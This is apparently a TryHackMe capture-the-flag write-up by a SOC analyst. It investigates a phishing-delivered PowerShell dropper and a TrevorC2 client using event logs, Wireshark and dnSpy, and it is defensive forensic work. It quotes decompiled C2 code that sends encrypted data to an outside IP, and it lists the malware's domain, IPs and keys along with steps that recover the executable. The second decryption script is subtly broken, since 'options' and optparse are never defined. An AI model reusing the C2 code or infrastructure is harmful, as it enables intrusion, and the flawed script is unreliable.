TryHackMe — Masquerade — WIN Log & Network Analysis

Lab Scenario:

Jim from the Finance department received an email that appeared to come from the company’s system administrator, asking him to run a script to “apply critical security updates.” Trusting the message, Jim executed the script on his workstation. Shortly after, unusual network traffic and system activity were observed. You have been provided with relevant artifacts to investigate what happened, determine the impact, and identify how the attacker established control over the system.

Important!: These artifacts contain real malware; however, the challenge can be completed entirely through static analysis, and there is no need to run or execute any of the files. Despite that, analysis should still be conducted in a controlled environment such as a lab machine (VM).

What happened?

• Jim (Finance) → got an email from system admin
• Jim trusted this email and executed script
• After then → Abnormal network and system activity has been showed

What does mean “Masquerade”?

• To make something appear to be something else

We have .evtx and .pcap file for investigation. We need to look at powershell commands with .evtx file and to understand what happened look at the network activicty.

Q1: What external domain was contacted during script execution?

This question say about external domain on during script execution. There first i need to look what script executed. To know this i moved .evtx file with windows event log.

At the 4/9/2026 10:28:23 PM this script executed on the C:\Users\jim\Downloads\updates.ps1 file. I need to look after this event.

To find this i entered pcap file with wireshark. And look dns packets after this time.

Q2: What encryption algorithm was used by the script?

To see what command executed i need to move Windows Event Viewer with .evtx file. And look at the event id 4104. I can see executed command.

But how can i understand what algorithm used? I used AI to find answer To make easier.

Q3: What key was used to decrypt the second-stage payload?

I need to find key creation section on the powershell command

Q4: What was the timestamp of the server response containing the payload?

On the prior question i found an external domain appear during script execution. Now in this case communication happens with this domain and this question asks what is response

Go through .pcap file and filter by http packets and contains api-edgecloud.xyz after this filtering appear an packet.

And right click → Follow TCP Stream

Q5: What is the SHA-256 hash of the extracted and decrypted payload?

On the executed powershell command use amd.bin file i need to export this file with wireshark and then decrypt this amd.bin file to extract .exe file.

1- First Export Amd.bin file with Wireshark

File → Export Objects → HTTP

And then seleck amd.bin file and save it.

2- Decrypt with python script

To create this decryption script i used Claude to make eaiser my work.

import hashlib

# RC4 implementasion
def rc4(key, data):
    key = list(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        result.append(byte ^ S[(S[i] + S[j]) % 256])
    return bytes(result)

# read amd.bin file  (as a hex string)
with open('amd.bin', 'r') as f:
    hex_data = f.read().strip()

# Convert from hex to a byte array
encrypted = bytes.fromhex(hex_data)

# RC4 key
key = b'X9vT3pL2QwE8xR6ZkYhC4s'

# Decrypt it
decrypted = rc4(key, encrypted)

# SHA256 sum
sha256 = hashlib.sha256(decrypted).hexdigest()
print(f"SHA256: {sha256}")

# Save file (optional - do it on VM)
with open('amdfendrsr.exe', 'wb') as f:
    f.write(decrypted)

If you execute this python script you can see .exe file and SHA256 hash

Q6: What remote URL did the client use to communicate with the victim machine?

If you filter by “http contains exe” you can see many packets appear. If you look at the Request URI you can see URI path

Q7: Which encryption key and algorithm does the client use?

First i want to know what programming language this .exe file was written in.

To know this i use Detect it Easy.

After the research i learn Executables written in C# can be decompiled — to a quality almost on a par with the source code.

The most popular C# Decompiler tool is dnSpy, it uses with GUI and easy. Therefore i used this tool.

If we investigate this .exe file with this tool we can find methods on the left panel.

We can found DecryptString, EncryptString methods here also found CIPHER key.

Now i found CIPHER and used Encrypt algorithm.

Q8: After determining the client’s encryption, decrypt the commands the attacker executed on the victim and submit the flag.

Now we got encryption algo and CIPHER key therefore i need to find requested with this encryption method and conver to text for get flag.

CIPHER Key: M4squ3r4d3Th3P4ck3tSt34lthM0d31337

Algorithm: AES

Before the start decryption process i need to look again dnSpy tool to known how work DecryptString method.

Format like that:

Base64 → decode → Base64 → decode → [IV + encrypted]

Why Double Base64 used.

turn back to dnSpy code.

text4 = Convert.ToBase64String(Encoding.UTF8.GetBytes(text4));
httpWebRequest2 = WebRequest.Create("http://34.174.57.99/images?guid=" + text4);

What happens here?

1. EncryptString → AES encrypted byte array
         ↓
2. Convert.ToBase64String → Base64 encoded string 
         ↓
3. Encoding.UTF8.GetBytes → Convert a string to bytes
         ↓
4. Convert.ToBase64String → Base64-encode again
         ↓
5. Added URL: images?guid=[double_b64]

I can decrypt with python script again to make easier.

import base64
from hashlib import sha256
from Crypto.Cipher import AES

CIPHER_KEY = "M4squ3r4d3Th3P4ck3tSt34lthM0d31337"

def get_encrypted64():
  parse = optparse.OptionParser()
  parse.add_option("-d", "--data", dest="encrypted_b64", help="Enter Encrypted Base64 Data")

  options = parse.parse_args()[0]

  return options

def decrypt_payload(double_b64: str) -> str:
    layer1 = base64.b64decode(double_b64)
    inner_b64 = layer1.decode()
    layer2 = base64.b64decode(inner_b64)
    iv = layer2[:16]
    ciphertext = layer2[16:]
    key = sha256(CIPHER_KEY.encode()).digest()
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    pad_len = plaintext[-1]
    plaintext = plaintext[:-pad_len]
    return plaintext.decode(errors="ignore")

data = options.encrypted_b64
print(decrypt_payload(data))

After decryption process i got the flag.

Analyze Note

✅ Who:

• C2 Server: 34.174.57.99
• Payload Server: api-edgecloud.xyz
• Payload File: amd.bin → decrypt → amdfendrsr.exe

✅ What:

• Phishing Email → Jim PS Script Executed T1566.001
• PowerShell → api-edgecloud.xyz/amd.bin download → Decrypt with RC4 → amdfendsrs.exe T1105
• amdfendrsr.exe = TrevorC2 Client. To look like AMD Drive masquerading T1036
• With C2 AES-256-CBC + Encrypted communication with Double Base64 T1573.001
• Get Command: GET / → On the HTML Comment → Send Result: GET /images?guid= T1071.001

✅ When:

• 2026–04–09 22:28:23 → PowerShell Command Executed
• 2026–04–10 05:28:23 GMT → amd.bin downloaded → amdfendrsr.exe run
• 2026–04–10 05:28:30–05:29:55 GMT → C2 commands sent/received

✅ Where:

• Victim IP: 10.0.2.15
• Payload Path: %TEMP%\amdfendrsr.exe
• C2 endpoint: [http://34.174.57.99/](http://34.174.57.99/)
• C2 endpoint: [http://34.174.57.99/images?guid=](http://34.174.57.99/images?guid=)

✅ Why:

• Gain the ability to execute remote commands on the target machine. Establish a persistent C2 channel using the TrevorC2 framework — evading detection by masquerading as legitimate HTTP traffic.

Efe Ozel — SOC Analyst